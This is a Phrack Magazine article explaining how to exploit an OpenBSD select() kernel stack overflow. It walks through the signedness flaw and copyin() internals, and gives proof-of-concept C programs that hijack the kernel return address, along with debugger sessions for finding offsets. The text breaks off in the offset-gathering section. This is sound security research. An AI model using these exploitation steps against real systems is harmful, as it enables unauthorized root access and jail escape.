[ News ] [ Paper Feed ] [ Issues ] [ Authors ] [ Archives ] [ Contact ]


..[ Phrack Magazine ]..
.:: Smashing The Kernel Stack For Fun And Profit ::.

Issues: [ 1 ] [ 2 ] [ 3 ] [ 4 ] [ 5 ] [ 6 ] [ 7 ] [ 8 ] [ 9 ] [ 10 ] [ 11 ] [ 12 ] [ 13 ] [ 14 ] [ 15 ] [ 16 ] [ 17 ] [ 18 ] [ 19 ] [ 20 ] [ 21 ] [ 22 ] [ 23 ] [ 24 ] [ 25 ] [ 26 ] [ 27 ] [ 28 ] [ 29 ] [ 30 ] [ 31 ] [ 32 ] [ 33 ] [ 34 ] [ 35 ] [ 36 ] [ 37 ] [ 38 ] [ 39 ] [ 40 ] [ 41 ] [ 42 ] [ 43 ] [ 44 ] [ 45 ] [ 46 ] [ 47 ] [ 48 ] [ 49 ] [ 50 ] [ 51 ] [ 52 ] [ 53 ] [ 54 ] [ 55 ] [ 56 ] [ 57 ] [ 58 ] [ 59 ] [ 60 ] [ 61 ] [ 62 ] [ 63 ] [ 64 ] [ 65 ] [ 66 ] [ 67 ] [ 68 ] [ 69 ] [ 70 ] [ 71 ]
Current issue : #60 | Release date : 2002-12-28 | Editor : Phrack Staff
IntroductionPhrack Staff
LoopbackPhrack Staff
LinenoisePhrack Staff
Toolz ArmoryPacket Storm
Phrack Prophile on horizonPhrack Staff
Smashing The Kernel Stack For Fun And Profitnoir
Burning the bridge: Cisco IOS exploitsFX
Static Kernel Patchingjbtzhm
Big Loop Integer ProtectionOded Horovitz
Basic Integer Overflowsblexim
SMB/CIFS By The Rootledin
Firewall Spotting with broken CRCEd3f
Low Cost and Portable GPS Jammeranonymous author
Traffic Lightsplunkett
Phrack World NewsPhrack Staff
Phrack magazine extraction utilityPhrack Staff
Title : Smashing The Kernel Stack For Fun And Profit
Author : noir
                             ==Phrack Inc.==

               Volume 0x0b, Issue 0x3c, Phile #0x06 of 0x10

|=----------=[ Smashing The Kernel Stack For Fun And Profit ]=----------=|
|=----------------------------------------------------------------------=|
|=--------------=[ Sinan "noir" Eren <[email protected]> ]=--------------=|


DISCLAIMER:
This article presented here is bound to no organization or company.  It is
the author's contrubition to the hacker community at large.  The research
and development in this article is done by the author with NO SUPPORT from
a commercial organization or company. No organization or company should be
held responsible or credited for this article other than the author
himself. 


--[ Contents

	1 - Introduction

	2 - The vulnerability: OpenBSD select() syscall overflow

	3 - Obstacles encountered in exploitation
	  3.1 - Overcoming the large copyin() problem
	    3.1.1 - mprotect() 4 life!
	  3.2 - Payload storage problem
	  3.3 - Return to user land problem

	4 - Crafting the exploit
	  4.1 - Breakpoints & distance Calculation
	  4.2 - Return address overwrite & execution redirection

	5 - How to gather offsets & symbol addresses
	  5.1 - sysctl() syscall
	  5.2 - sidt technique & _kernel_text search
	  5.3 - _db_lookup() technique	    
	  5.4 - /usr/bin/nm, kvm_open(), nlist()
	  5.5 - %ebp fixup	

	6 - Payload/shellcode creation
	  6.1 - What to achieve
	  6.2 - The payload
	    6.2.1 - p_cred & u_cred
	    6.2.2 - chroot breaking
	    6.2.3 - securelevel
	  6.3 - Get root & escape jail

	7 - Conclusions

	8 - Greetings

	9 - References

	10 - Code


--[ 1 - Introduction


This article is about recent exposures of many kernel level vulnerabilities
and advances in their exploitation which leads to trusted (oops safe) and
robust exploits.

We will focus on 2 recent vulnerabilities in the OpenBSD kernel as our case
studies. Out of the these we will mainly concentrate on exploitation of the
select() system call buffer overflow. The setitimer() arbitrary memory
overwrite vulnerability will be explained in the code section of this
article (as inline comments, so as not to repeat what we have already
covered whilst exploring the select() buffer overflow).

This paper should not be viewed as an exploit construction tutorial, my
goal is, rather, to explore and demonstrate generic ways to exploit stack
overflows and signed/unsigned vulnerabilities in kernel space.

Case studies will be used to demonstrate these techniques, and reusable
*BSD "kernel level shellcodes" -- with many cool features! -- will be
presented.

There has been related work done by [ESA] and [LSD-PL], which may
complement this article.


--[ 2 - The Vulnerability: OpenBSD select() syscall overflow


sys_select(p, v, retval)
        register struct proc *p;
        void *v;
        register_t *retval;
{
        register struct sys_select_args /* {
                syscallarg(int) nd;
                syscallarg(fd_set *) in;
                syscallarg(fd_set *) ou;
                syscallarg(fd_set *) ex;
                syscallarg(struct timeval *) tv;
        } */ *uap = v;
        fd_set bits[6], *pibits[3], *pobits[3];
        struct timeval atv;
        int s, ncoll, error = 0, timo;
        u_int ni;

[1]     if (SCARG(uap, nd) > p->p_fd->fd_nfiles) {
                /* forgiving; slightly wrong */
                SCARG(uap, nd) = p->p_fd->fd_nfiles;
        }
[2]     ni = howmany(SCARG(uap, nd), NFDBITS) * sizeof(fd_mask);
[3]     if (SCARG(uap, nd) > FD_SETSIZE) {

	...

	}
	...
#define getbits(name, x) \
[4]   if (SCARG(uap, name) && (error = copyin((caddr_t)SCARG(uap, name), \
            (caddr_t)pibits[x], ni))) \
                goto done;
[5]     getbits(in, 0);
        getbits(ou, 1);
        getbits(ex, 2);
#undef  getbits

	...

To make some sense out of the code above we need to decipher the SCARG
macro, which is extensively used in the OpenBSD kernel syscall handling
routines.

Basically, SCARG() is a macro that retrieves the members of the 'struct
sys_XXX_args' structures.

sys/systm.h:114
...
#if     BYTE_ORDER == BIG_ENDIAN
#define SCARG(p, k)     ((p)->k.be.datum)       /* get arg from args 
pointer */
#elif   BYTE_ORDER == LITTLE_ENDIAN
#define SCARG(p, k)     ((p)->k.le.datum)       /* get arg from args 
pointer */

sys/syscallarg.h:14
...
#define syscallarg(x)                                                   \
        union {                                                         \
                register_t pad;                                         \
                struct { x datum; } le;                                 \
                struct {                                                \
                        int8_t pad[ (sizeof (register_t) < sizeof (x))  \
                                ? 0                                     \
                                : sizeof (register_t) - sizeof (x)];    \
                        x datum;                                        \
                } be;                                                   \
        }


Access to structure members is performed via SCARG() in order to preserve
alignment along CPU register size boundaries, so that memory accesses will
be faster and more efficient.

In order to make use of the SCARG() macro, the declarations need to be done
as follows (example for select() syscall arguments):

sys/syscallarg.h:404
...
struct sys_select_args {
[6]     syscallarg(int) nd;
        syscallarg(fd_set *) in;
        syscallarg(fd_set *) ou;
        syscallarg(fd_set *) ex;
        syscallarg(struct timeval *) tv;
};

The vulnerability can be described as an insufficient check on the 'nd'
argument [6], which is used as the length parameter for userland to kernel
land copy operations.

Whilst there is a check [1] on the 'nd' argument (nd represents the highest
numbered descriptor plus one, in any of the fd_sets), which is checked
against the p->p_fd->fd_nfiles (the number of open descriptors that the
process is holding), this check is inadequate -- 'nd' is declared as signed
[6], so it can be negative, and therefore will pass the greater-than check
[1].

Then 'nd' is put through a macro [2], in order to calculate an unsigned
integer, 'ni', which will eventually be used as the the length argument for
the copyin operation.

howmany() [2] is defined as follows (sys/param.h line 175):

#define howmany(x, y)   (((x)+((y)-1))/(y))

Expansion of line [2] will look like as follows:

sys/types.h:157, 169
#define NBBY    8               /* number of bits in a byte */

typedef int32_t fd_mask;
#define NFDBITS (sizeof(fd_mask) * NBBY)        /* bits per mask */
...
ni = ((nd + (NFDBITS-1)) / NFDBITS)  * sizeof(fd_mask);
ni = ((nd + (32 - 1)) / 32) * 4

Calculation of 'ni' is followed by another check on the 'nd' argument [3].
This check is also passed, since OpenBSD developers consistently forget
about the signedness checks on the 'nd' argument. Check [3] was done to see
if the space allocated on the stack is sufficient for the following copyin
operations, and, if not, then sufficient heap space will be allocated.

Given the inadequacy of the signed check, we'll pass check [3] (>
FD_SETSIZE), and will continue using stack space. This will make our life
much easier, given that stack overflows are much more trivially exploited
than heap overflows. (Hopefully, I'll write a follow-up paper that will
demonstrate kernel-land heap overflows in the future).

Finally, the getbits() [4,5] macro is defined and called in order to
retrieve user supplied fd_sets (readfds, writefds, exceptfds -- these
arrays contain the descriptors to be tested for 'ready for reading', ready
for writing' or 'have an exceptional condition pending').

For exploitation purposes we don't really care about the layout of the
fd_sets -- they can be treated as any simple char buffer aiming to overflow
its boundaries and overwrite the saved ebp and saved eip.

With this simple test code, we can reproduce the overflow:

#include <stdio.h>
#include <sys/types.h>

int
main(void)
{
	char *buf;
	buf = (char *) malloc(1024);
	memset(buf, 0x41, 1024);
	select(0x80000000, (fd_set *) buf, NULL, NULL, NULL);
}
 
What happens is; system call number 93 (SYS_select) is dispatched to
handler sys_select() by the syscall() function, with all user land supplied
arguments bundled into a sys_select_args structure.

'nd', being 0x80000000 (the smallest negative number for signed 32bit) has
gone through the size check [1] and, later, the howmany() macro [2]
calculates unsigned integer 'ni' as 0x10000000. The getbits() macro [5] is
then called with the address of buf (user land, heap) which expands to the
copyin(buf, kernel_stack, 0x10000000) operation.

copyin() starts to copy the userland buffer to the kernel stack, a long at
a time (0x10000000/4 times). However, this copy operation won't ever fully
succeed, as the kernel will run out of per-process stack trying to copy
such a huge buffer from userland -- and will crash on an out of bounds
write operation.


--[ 3 - Obstacles encountered in exploitation


     - copyin(uaddr, kaddr, big_number) problem

First and the most obvious problem is to take control of the size argument
'ni' passed to the copyin operation, since this number is derived from the
user supplied 'nd' argument which, must be negative, we'll never be able to
construct a reasonably "big" number. Actually the "smallest" positive
number we can construct is 0x10000000. As we have already find out that,
this number will cause us to hit the end of kernel stack and kernel will
panic. This is our first obstacle and we'll overcome it by exploring how
copyin() works in the following section.

      - payload storage problem

This is a typical problem for every type of exploit (user or kernel land).
Determining where the most appropriate place is to store the
payload/shellcode.  This problem is rather simple to overcome in kernel
land exploits and we'll talk about the proper solution. 

      - clean return to user land problem

Another problem arises after we overwrite the saved return address and gain
control, at that point we can be real imaginative on the payload, but we'll
run into the trouble of how to return back to user land and be able to
enjoy our newly altered kernel space! 


--[ 3.1 - Overcoming The Large copyin() Problem


To be able to solve this problem, we need to read through the copyin() and
trap() functions and understand their internals.

We shall start by understanding copyin() user to kernel copy primitive, my
comments will be inlined:

sys/arch/i386/i386/locore.s:955

ENTRY(copyin)
        pushl   %esi
        pushl   %edi

Save %esi, %edi .

        movl    _C_LABEL(curpcb),%eax

Move the current process control block address (_curpcb) into %eax .
_C_LABEL() is a simple macro that will add an underscore sign to the
beginning of the symbol name. See sys/arch/i386/include/asm.h:66

The process control block is a per-process kernel structure that holds the
current execution state of a process and differs based on machine
architecture. It consists of: stack pointer, program counter, general-
purpose registers, memory management registers and some other architecture
depended members such as per process LDT's (i386) and so on. The *BSD
kernel extends the PCB with software related entries, such as the
"copyin/out fault recovery" handler (pcb_onfault). Each process control
block is stored and referenced through the user structure. See
sys/user.h:61 and [4.4 BSD].

[1]    pushl   $0

Push a ZERO on the stack; this will make sense at the epilog or the
_copy_fault function, which has the matching 'popl' instruction.

[2]    movl    $_C_LABEL(copy_fault),PCB_ONFAULT(%eax)

Move _copy_fault's entry address into the process control block's
pcb_onfault member. This simply installs a special fault handler for
'protection', 'segment not present' and 'alignment' faults.  copyin()
installs its own fault handler, _copy_fault, we'll get back to this when
exploring the trap() code, since processor faults are handled there.

        movl    16(%esp),%esi
        movl    20(%esp),%edi
        movl    24(%esp),%eax

Move the incoming first, second and third arguments to %esi, %edi, %eax
respectively. %esi being the user land buffer, %edi the destination kernel
buffer and %eax the size.

    /*
     * We check that the end of the destination buffer is not past the end
     * of the user's address space.  If it's not, then we only need to
     * check that each page is readable, and the CPU will do that for us.
     */
        movl    %esi,%edx
        addl    %eax,%edx

This addition operation is to verify if the user land address plus the size
(%eax) is in legal user land address space. The user land address is moved
to %edx and then added to the size (ubuf + size), which will point to the
supposed end of the user land buffer.

        jc      _C_LABEL(copy_fault)

This is a smart check to see if previous addition operation has an integer
over-wrap issue. e.g: the user land address being 0x0ded and size being
0xffffffff -- this unsigned arithmetic operation will overlap and the
result is going to be 0x0dec. By design, the CPU will set the carry flag on
such condition and 'jc' jump short on carry flag set instruction will take
us to _copy_fault function which do some clean up and return EFAULT .

        cmpl    $VM_MAXUSER_ADDRESS,%edx
        ja      _C_LABEL(copy_fault)

Followed by the range check: whether or not the user land address plus size
is in valid user land address space range. A comparison is done against the
VM_MAXUSER_ADDRESS constant, which is the end of the user land stack
(0xdfbfe000 through obsd 2.6-3.1). If the sum (%edx) is above
VM_MAXUSER_ADDRESS 'ja' (jump above) instruction will make a short jump to
_copy_fault , eventually leading to the termination of the copy operation.

3:      /* bcopy(%esi, %edi, %eax); */
        cld

Clear the direction flag, DF = 0, means that the copy operation is going to
increment the index registers '%esi and %edi' .

        movl    %eax,%ecx
        shrl    $2,%ecx
        rep
        movsl

Do the copy operation long at a time, from %esi to %edi .

        movb    %al,%cl
        andb    $3,%cl
        rep
        movsb

Copy the remaining (size % 4) data, byte at a time.

        movl    _C_LABEL(curpcb),%edx
        popl    PCB_ONFAULT(%edx)

Move the current process control block address into %edx, and then pop the
first value on the stack into the pcb_onfault member (ZERO [1] pushed
earlier). This means, the special fault handler is cleared from the
process.

        popl    %edi
        popl    %esi

Restore the old values of %edi, %esi .

        xorl    %eax,%eax
        ret

Do a return with a return value of zero: Success .

ENTRY(copy_fault)

In the case of faults and failures in checks at copyin() this is where we
drop.

        movl    _C_LABEL(curpcb),%edx
        popl    PCB_ONFAULT(%edx)

Move the current process control block address into %edx and then pop the
first value on the stack into the pcb_onfault member (ZERO [1] pushed
earlier). This clears the special fault handler from the process.

        popl    %edi
        popl    %esi

Restore the old values of %edi, %esi .

        movl    $EFAULT,%eax
        ret

Do a return with a return value of EFAULT (14): Failure .

After this long exploration of the copyin() function we'll just take a
brief look at trap() and check how pcb_onfault is implemented. trap() is
the main interface to exception, fault and trap handling of the BSD kernel.

trap.h:51:#define    T_PROTFLT        4      /* protection fault */
trap.h:63:#define    T_SEGNPFLT      16      /* segment not present fault 
*/
trap.h:54:#define    T_ALIGNFLT       7      /* alignment fault */

sys/arch/i386/i386/trap.c:174
void
trap(frame)
        struct trapframe frame;
{
        register struct proc *p = curproc;
        int type = frame.tf_trapno;
...
        switch (type) {

...
line: 269

        case T_PROTFLT:
        case T_SEGNPFLT:
        case T_ALIGNFLT:
                /* Check for copyin/copyout fault. */
[1]             if (p && p->p_addr) {
[2]                     pcb = &p->p_addr->u_pcb;
[3]                     if (pcb->pcb_onfault != 0) {
                        copyfault:
[4]                             frame.tf_eip = (int)pcb->pcb_onfault;
                                return;
                        }
                }

...

Faults such as 'protection', 'segment not present' and 'alignment' are
handled all together, through a switch statement in trap() code. The
appropriate case for the mentioned faults in trap() , initially checks for
the existence of the process structure and the user structure [1] then
loads the process control block from the user structure [2], check if the
pcb_onfault is set [3] if its set, if so, the instruction pointer (%eip) of
the control block is overwritten with the value of this special fault
handler [4]. After the process is context switched and given the cpu, it
will start running from the new handler code in kernel space. In the case
of copyin() , execution will be redirected to _copy_fault . 

Armoured with all this knowledge, we can now provide a solution for the
'big size copyin()' problem.


--[ 3.1.1 - mprotect() 4 life!


x86 cpu memory operations such like trying to read from write only (-w-)
page or trying to write to a read only (r--) or no access (---) page and
some other combinations will throw out a protection fault which will be
handled by trap() code as shown above. 

This basic functionality will allow us to write as many bytes into kernel
space as we wish, no matter how big the size value actually is. As seen
above, the trap() code checks for pcb_onfault handler for protection faults
and redirects execution to it. In order to stop copying from user land to
kernel land, we will need to turn off the read protection bit of any
certain page following the overflow vector and achieve our goal.

-------------
|    rwx    | --> Dynamically allocated PAGE_SIZEd 
|           |     user land memory
|           |
|xxxxxxxxxxx| --> Overflow vector (fd_set array)
-------------     (saved %ebp, %eip overwrite values)
|    -w-    |
|           |
|           | --> Dynamically allocated PAGE_SIZEd 
|           |     consecutive memory, PROT_WRITE
-------------

The way to control the overflow as described in the diagram is to allocate
2 PAGE_SIZEd memory chunks and fill the end of the first page with overflow
data (exploitation vector) and then turn off the read protection bit of the
following page. 

At this stage we also run into another problem (albeit rather simple to
overcome). PAGE_SIZE is 4096 in x86 and 4096 bytes of overflowed stack will
crash the kernel at an earlier stage (before we take control). 

Actually for this specific overflow saved %ebp and saved %eip is 192 and
196 bytes away from the overflowed buffer, respectively. So, what we'll do
is allocate 2 pages and pass the fd_set pointer as 'second_page - 200'.
Then copyin() will start copying just 200 bytes before the end of the
readable page and will hit the non readable page right after. An expection
will be thrown and trap() will handle the fault as explained, 'protection
fault' handler will check pcb_onfault and set the instruction pointer of
the current PCB to the address of the handler, in this case _copy_fault.
_copy_fault will return EFAULT. 

If we go back to the sys_select() code getbits() macro [4] will check for
the return value and will go to 'done' label on any value other than
success (0). At this point sys_select() set the error code (errno) and
return to syscall() (syscall dispatcher).


Here is the test code to verify the mprotect technique:

#include <stdio.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <unistd.h>

int
main(void)
{
        char *buf;
	u_long pgsz = sysconf(_SC_PAGESIZE);

        buf = (char *) malloc(pgsz * 3);
	/* asking for 3 pages, just to be safe */
	if(!buf) { perror("malloc"); exit(-1); }
        memset(buf, 0x41, pgsz*3); /* 0x41414141 ;) */

	buf = (char *) (((u_long) buf & ~pgsz) + pgsz);
	/* actually, we'r using the 2. and 3. pages*/

	if(mprotect((char *) ((u_long) buf + pgsz), (size_t) pgsz,
		PROT_WRITE) < 0)
	{
		perror("mprotect"); exit(-1);
	}
	/* we set the 3rd page as WRITE only, 
	 * anything other than READ is fine 
	 */
	
	select(0x80000000, (fd_set *) ((u_long) buf + pgsz - 200), NULL,
		NULL, NULL);
}

- The ddb> kernel debugger

To be able to debug the kernel we will need to set up the ddb kernel
debugger. Type the following commands to make sure ddb is set and don't
forget that, you should have some sort of console access to be able to
debug the kernel. (Physical access, console cable or those funky network
console devices...)

bash-2.05a# sysctl -w ddb.panic=1
ddb.panic: 1 -> 1
bash-2.05a# sysctl -w ddb.console=1
ddb.console: 1 -> 1

The first sysctl command configures ddb to kick in on kernel panics. The
latter will set up ddb accessible from console at any given time, with the
ESC+CTRL+ALT key combination.

There is no way to explore kernel vulnerabilities without many panic()s
getting in the way, so lets get dirty.

bash-2.05a# gcc -o test2 test2.c 
bash-2.05a# sync
bash-2.05a# sync
bash-2.05a# uname -a
OpenBSD kernfu 3.1 GENERIC#59 i386
bash-2.05a# ./test2
uvm_fault(0xe4536c6c, 0x41414000, 0, 1) -> e
kernel: page fault trap, code=0
Stopped at	0x41414141:uvm_fault(0xe4536c6c, 0x41414000, 0, 1) -> e
...

ddb> trace
...
_kdb_trap(6,0,e462af08,1) at _kdb_trap+0xc1
_trap() at _trap+0x1b0
--- trap (number 6) ---
0x41414141:
ddb>

What all this means is that a page fault trap was taken from for address
0x41414141 and since this is an invalid address for kernel land, it was not
able to be paged in (such like every illegal address reference) which lead
to a panic(). This means we are on the right track and indeed overwrite the
%eip since the page 0x41414000 was attempted to loaded into memory.

Type following for a clean reboot.
ddb> boot sync
....

Lets verify that we gain the control by overwriting the %eip - here is how
to set the appropriate breakpoints: 

Hit CTRL+ALT+ESC: 

ddb> x/i _sys_select,130
_sys_select:	pushl	%ebp
_sys_select+0x1:	movl	%esp,%ebp
...
...
_sys_select+0x424:	leave
_sys_select+0x425:	ret
_sys_select+0x426:	nop
...
ddb> break _sys_select+0x425
ddb> cont
^M	--> hit enter!
bash-2.05a# 

At this stage some other process might kick ddb> in because of its use of
the select syscall, just type 'cont' on the ddb> prompt and hit CR.

bash-2.05a# ./test2 
...
ddb> print $ebp
41414141
ddb> x/i $eip
_sys_select+0x425:	ret
ddb> x/x $esp
0xe461df3c:	41414141 --> saved instruction pointer!
ddb> boot sync
...


--[ 3.2 - Payload storage problem


The payload storage area for user land vulnerabilities is usually the
overflowed buffer itself (if it's big enough) or some known user controlled
other location such like environment variables, pre-overflow command
leftovers, etc, etc, in short, any user controlled memory that will stay
resident long enough to reference at a later time. Since the overflowed
buffer may be small in size, it is not always feasible to store the payload
there. Actually, for this specific buffer overflow, the contents of the
overflowed buffer get corrupted leaving us no chance to return to it. Also,
we will need enough room to execute code in kernel space to be able to do
complex tasks, such as resetting the chroot pointers, altering pcred, ucred
and securelevel and resolving where to return to ... for all these reasons
we are going to execute payload in the source buffer as opposed to the
destination (overflowed) buffer. This means we're going to jump to the user
land page, execute our payload and return back to our caller transparently.
This is all legitimate execution and we will have almost unlimited space to
execute our payload. In regards to the select() overflow: copyin(ubuf,
kbuf, big_num), we'll execute code inside 'ubuf'.
 

--[ 3.3 - Return to user land problem


After we gain control and execute our payload, we need to clean things up
and start our journey to user land but this isn't as easy as it may sound.
My first approach was to do an 'iret' (return from interrupt) in the
payload after altering all necessary kernel structures but this approach
turn out to be real painful. First of all, it's not an easy task to do all
the post-syscall handling done by syscall() function. Also, the trap() code
for kernel to user land transition can not be easily turn into payload
assembly code. However the most obvious reason, not to choose the 'iret'
technique is that messing with important kernel primitives such as locks,
pending signals and/or mask-able interrupts is a really risky job thus
drastically reducing the reliability of exploits and increasing the
potential for post exploitation kernel panics. So I choose to stay out of
it! ;)

The solution was obvious, after payload execution we should return to the
point in syscall() handler where _sys_select() was supposed to return.
After that point, we don't need to care about any of the aforementioned
kernel primitives. This solution leads to the question of how to find out
where to return into since we have overwritten the return address to gain
control thus losing our caller's location. We will explorer many of the
possible solutions in section 5 and usage of the idtr register for kernel
land address gathering will be introduced on section 5.2 for some serious
fun!! Let's get going ...


--[ 4 - Crafting the exploit


In this section, setting up of proper breakpoints and how to calculate the
distance to the saved instruction pointer will be discussed. Also, a new
version of test code will be presented in order to demostrate that
execution can be successfully directed to the user land buffer.


--[ 4.1 - Breakpoints & Distance Calculation


bash-2.05a# nm /bsd | grep _sys_select
e045f58c T _linux_sys_select
e01c5a3c T _sys_select
bash-2.05a# objdump -d --start-address=0xe01c5a3c --stop-
address=0xe01c5e63\
>  /bsd | grep _copyin
e01c5b72:       e8 f9 a9 f3 ff          call   e0100570 <_copyin>
e01c5b9f:       e8 cc a9 f3 ff          call   e0100570 <_copyin>
e01c5bcc:       e8 9f a9 f3 ff          call   e0100570 <_copyin>
e01c5bf9:       e8 72 a9 f3 ff          call   e0100570 <_copyin>

The first copyin() is the one that copies the readfds and overflows the
kernel stack. That's the one we are after.

CTRL+ALT+ESC
bash-2.05a# Stopped at _Debugger+0x4: leave
ddb> x/i 0xe01c5b72
_sys_select+0x136:	call	_copyin
ddb> break _sys_select+0x136
ddb> cont
^M
bash-2.05a# ./test2
Breakpoint at	_sys_select+0x136:	call	_copyin
ddb> x/x $esp,3
0xe461de20:	5f38	e461de78	10000000

These are the 3 arguments pushed on the stack for copyin() ubuf: 0x5f38
kbuf: 0xe461de78 len:10000000

ddb> x/x 0x5f38
0x5f38:	41414141
...
ddb> x/x $ebp
0xe461df38:	e461dfa8	--> saved %ebp
ddb> ^M
0xe461df3c:	e02f34ce	--> saved %eip 
ddb>

In the x86 calling convention, 2 longs just before the base pointer are the
saved eip (return address) and the saved ebp, respectively. To calculate
the distance between the stack buffer and the saved eip in ddb is done as
follows:

ddb> print 0xe461df3c - 0xe461de78
      c4 
ddb> boot sync
...

The distance between the address of saved "return address" and the kernel
buffer is 196 (0xc4) bytes. Limiting our copyin() operation to 200 bytes
with the mprotect() technique will ensure a clean overflow.


4.2 - Return address overwrite & execution redirection


At this stage I'll introduce another test code to "verify" execution
redirection and usability of the user land buffer for payload execution.

test3.c:

#include <stdio.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <unistd.h>

int
main(void)
{
        char *buf;
        long *lptr;
        u_long pgsz = sysconf(_SC_PAGESIZE);

        buf = (char *) malloc(pgsz * 3);
        if(!buf) { perror("malloc"); exit(-1); }
        memset(buf, 0xcc, pgsz*3); /* int3 */

        buf = (char *) (((u_long) buf & ~pgsz) + pgsz);

	if(mprotect((char *) ((u_long) buf + pgsz), (size_t) pgsz,
		PROT_WRITE) < 0)
        {
		perror("mprotect"); exit(-1);
	}


        lptr = (long *) ((u_long)buf + pgsz - 8);
        *lptr++ = 0xbaddcafe; /* saved %ebp, does not 
			       * matter at this stage
			       */
        *lptr++ = (long) buf; /* overwrite the return addr 
			       * with buf's addr
			       */
	select(0x80000000, (fd_set *) ((u_long) buf + pgsz - 200), NULL,
		NULL, NULL);
}
 

test3.c code will overwrite the saved ebp with 0xbaddcafe and the saved
instruction pointer with the address of the user land buffer, which is
filled with 'int 3''s (debug interrupts). This code should kick in the
kernel debugger.

bash-2.05a# gcc -o test3 test3.c
bash-2.05a# ./test3
Stopped at	0x5001:	int	$3
ddb> x/i $eip,2
0x5001:	int	$3
0x5002: int	$3
ddb> print $ebp
baddcafe
ddb> boot sync
...

Everything goes as planned, we successfully jump to user land and execute
code. Now we shall concentrate on other issues such as payload/shellcode
creation, symbol address gathering on run time, etc...


--[ 5 - How to gather offsets & symbol addresses


Before considering what to achieve with kernel payload, I should remind you
about the previous questions that we raised which was how to return back to
user land, the proposed solution was basically to fix up %ebp, find out
where syscall() handler is in memory, plus where in syscall() we should be
returning. Payload is the obvious place to do the mentioned fix- ups but
this brings the complication of how to gather kernel addresses. After
dealing with some insufficient pre-exploitation techniques such like 'nm
/bsd', kvm_open() and nlist() system interfaces which are all lacking the
solution for non-reable (in terms of fs permissions) kernel image (/bsd).
I come to the conclusion that all address gathering should be done on run
time (in the execution state of the payload). Many win32 folks have been
doing this type of automation in shellcodes by walking through the thread
environment block (TEB) for some time. Also kernel structures such like the
process structure has to be supplied to the payload in order to achieve our
goals. Following sections would introduce the proposed solutions for kernel
space address gathering.


--[ 5.1 - sysctl() syscall


sysctl() system call will enable us to gather process structure information
which is needed for the credential and chroot manipulation payloads. In
this section we will take a brief look into the internals of the sysctl()
syscall.

sysctl is a system call to get and set kernel level information from user
land. It has a good interface to pass data from kernel to user land and
back. sysctl interface is structured into several sub components such as
the kernel, hardware, virtual memory, net, filesystem and architecure
system control interfaces. We'll concentrate on the kernel sysctl's which
is handled by the kern_sysctl()function. See: sys/kern/kern_sysctl.c:234
kern_sysctl() function also assigns different handlers to certain queries
such as proc structure, clockrate, vnode and file information. The process
structure is handled by the sysctl_doproc() function and this is the
interface to kernel land information that we are after!

int
sysctl_doproc(name, namelen, where, sizep)
        int *name;
        u_int namelen;
        char *where;
        size_t *sizep;
{

...

[1] for (; p != 0; p = LIST_NEXT(p, p_list)) {

...
[2]        switch (name[0]) {

                case KERN_PROC_PID:
                        /* could do this with just a lookup */
[3]                     if (p->p_pid != (pid_t)name[1])
                                continue;
                        break;

		...

	  }
		....

                if (buflen >= sizeof(struct kinfo_proc)) {
[4]                     fill_eproc(p, &eproc);
[5]                     error = copyout((caddr_t)p, &dp->kp_proc,
                                        sizeof(struct proc));
....


void
fill_eproc(p, ep)
        register struct proc *p;
        register struct eproc *ep;
{
        register struct tty *tp;

[6]        ep->e_paddr = p;


Also for sysctl_doproc() there can be different types of queries which are
handled by the switch [2] statement. KERN_PROC_PID is the query that is
sufficient enough to gather the needed address about any process's proc
structure. For the select() overflow it was sufficient enough just to
gather the parent process's proc address but the setitimer() vulnerability
make use of the sysctl() interface in many different ways (more on this
later).

sysctl_doproc() code iterates through [1] the linked list of proc
structures in order to find the queried pid [3], and, if found, certain
structures (eproc & kp_proc) get filled-in [4], [5] and copyout to user
land. fill_eproc() (called  from [4]) does the trick [6] and copies the
proc address of the queried pid into the e_paddr member of the eproc
structure, which, in turn, was eventually copied out to user land in the
kinfo_proc structure (which is the main data structure for the
sysctl_doproc() function). For further information on members of these
structures see: sys/sys/sysctl.h.

The following is the function we'll be using to retrieve the kinfo_proc
structure:

void
get_proc(pid_t pid, struct kinfo_proc *kp)
{
   u_int arr[4], len;
        
        arr[0] = CTL_KERN;
        arr[1] = KERN_PROC;
        arr[2] = KERN_PROC_PID;
        arr[3] = pid;
        len = sizeof(struct kinfo_proc);
        if(sysctl(arr, 4, kp, &len, NULL, 0) < 0) {
                perror("sysctl");
                exit(-1);
        }
         
}


It is a pretty straightforward interface, what happens is: CTL_KERN will be
dispatched to kern_sysctl() by sys_sysctl() KERN_PROC will be dispatched to
sysctl_doproc() by kern_sysctl() KERN_PROC_PID will be handled by the
aforementioned switch statement, eventually returning the kinfo_proc
structure.

<rant>
sysctl() system call might be there with all good intensions such as
getting and setting kernel information in a dynamic fashion. However, from
a security point of view, I believe sysctl() syscall should not be blindly
giving proc information about any queried pid. Credential checks should be
added in proper places, especially for the systcl_doproc() interface ...
</rant>


--[ 5.2 - sidt technique & _kernel_text search


As mentioned before, we are after transparent payload execution so that
_sys_select() will actually return to its caller _syscall() as expected.  I
will explain how to gather the return path in this section. The solution
depends on the idtr (interrupt descriptor table register) that contains a
fixed location address, which is the start of the Interrupt Descriptor
Table (IDT).

Without going into too many details, IDT is the table that holds the
interrupt handlers for various interrupt vectors. Each interrupt in x86 is
represented by a number in the range 0 - 255 and these numbers are called
the interrupt vectors. These vectors are used to locate the initial handler
for any given interrupt inside the IDT. IDT contains 256 entries, each
being 8 bytes. IDT descriptor entries can be 3 different types but we will
concentrate only on the gate descriptor:

sys/arch/i386/include/segment.h:99

struct gate_descriptor {
        unsigned gd_looffset:16;        /* gate offset (lsb) */
        unsigned gd_selector:16;        /* gate segment selector */
        unsigned gd_stkcpy:5;           /* number of stack wds to cpy */
        unsigned gd_xx:3;               /* unused */
        unsigned gd_type:5;             /* segment type */
        unsigned gd_dpl:2;              /* segment descriptor priority 
level */
        unsigned gd_p:1;                /* segment descriptor present */
        unsigned gd_hioffset:16;        /* gate offset (msb) */
}

gate_descriptor's members gd_looffset and gd_hioffset will form the low
level interrupt handler's address. For more information on the various
fields, reader should consult to the architecture manuals [Intel]. 

System call interface to request kernel services is implemented through the
software initiated interrupt: 0x80. Armored with this knowledge, starting
from the address of the low level syscall interrupt handler and walking
through the kernel text, we can find our way to the high level syscall
handler and finally return to it. 

Interrupt descriptor table under OpenBSD is named _idt_region and slot
number: 0x80 is the gate descriptor for the system call interrupt 'int
0x80'. Since every member is 8 bytes, system call gate_descriptor is at
address '_idt_region + 0x80 * 0x8' which is '_idt_region + 0x400'. 

bash-2.05a# Stopped at		_Debugger+0x4: leave
ddb> x/x _idt_region+0x400
